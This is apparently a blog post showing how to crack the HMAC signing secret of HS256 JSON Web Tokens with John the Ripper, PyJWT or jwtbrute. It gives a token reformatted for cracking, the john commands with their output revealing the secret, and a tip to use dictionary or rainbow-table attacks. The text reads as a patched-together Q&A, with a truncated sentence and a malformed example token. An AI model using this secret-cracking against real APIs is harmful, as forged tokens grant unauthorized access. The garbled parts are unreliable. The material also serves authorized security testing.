Cracking JWT signature

Shaurya Sharma
2 min readJun 1, 2021

I am testing an API that uses JWT for authentication. This JWT is signed HS256 to prevent modification. I figured that if I define the secret key used in this signature, I can create my own JWTs. How can I crack the JWT’s private signing key?

I ended up using a short Python script that uses PyJWT to parse the JWT and verify the signature.

There is also jwtbrute . I haven’t tested it, but it seems a little more efficient than my scenario because it does a lot of work like base64 decoding etc.

If you want to hack JWTs using John the Ripper, you need to convert their format to something like this:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjEyMzQ1Njc4OTAsIm5hbWUiOiJKb2huIERvZSIsImFkbWluIjp0cnVlfQ#7a86835464c295175fc5465788fb377fc16624390313f5424055ea2b1a4bb2db

As you can see, the first two parts are the same, but the signature is now hexadecimal and not base64. Also, it is decoupled from the data using

You also need the latest version john. The version that comes with Kali doesn't work for me, but the version on GitHub did.

$ ./john ~/dev/crackjwt/jwt.john
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
secret (?)
1g 0:00:00:00 DONE 2/3 (2016-08-24 15:58) 6.666g/s 218453p/s 218453c/s 218453C/s 123456..skyline!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

John maintained the JWT initially from this commit https://github.com/magnumripper/JohnTheRipper/commit/85aa7b3e3f8204360683ddc5ec9734bf793d07cf (2015).

This way you can just put the JWT hash in the pw file without any changes currently, without any conversions.

$ cat jwt.john 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYXNkZiJ9.GwJ7_ZrnpRLXXSBYzB9VkM4n7j2iSJEkdjhckeaXQ-U
$ john jwt.john
# Wait a few hours, then:
$ john --show jwt.john

From what you posted it seems like you are attacking the whole JWT, which I don’t think the JTR is smart enough to decode base64 and emit a signature.

How JWT works:

The header has:

{“alg”: “HS256”, “typ”: “JWT”}

They have claims

{“sub”: “1234567890”, “name”: “John Snow”, “admin”: true}

You base64Url encode them and combine them with secret to get something like:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydVXY95.TWRtaW4iOnRydVXMHOrT

Testing against this is not good as brute force is trying to attack this whole line, which is no secret.

PRO Tip:

Download the JWT library, use their parser function and Rainbow table and hope the people using the API are stupid enough to use a Word dictionary for security.

#HappyHacking #StaySafe

--

--